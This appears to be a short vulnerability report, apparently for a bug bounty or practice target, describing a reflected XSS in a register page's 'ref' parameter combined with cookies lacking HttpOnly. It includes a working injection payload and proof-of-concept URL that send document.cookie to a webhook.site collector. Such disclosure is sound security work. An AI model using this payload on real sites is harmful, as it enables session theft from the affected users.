Description

Hi,
i found that parameter ref, which is used for redirecting after logout as an doctor in /drpanel/logout.php, can be used in /register.php as well.
However here it is used through javascript in <a href element and is vulnerable to XSS.
Also found that cookies are missing httponly attribute, thus they can be accessed via javascript.
This two vulnerabities combined together can be used to steal cookies.

In this payload I used simple GET request:

var xhttp = new XMLHttpRequest();
xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);
xhttp.send();

In <a href element we can use autofocus and onfocus to run script without user interaction.

Here is full payload:
ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

POC link:

http://firstbloodhackers.com/register.php?ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

Impact

An attacker can execute arbitrary javascript and steal cookies from doctors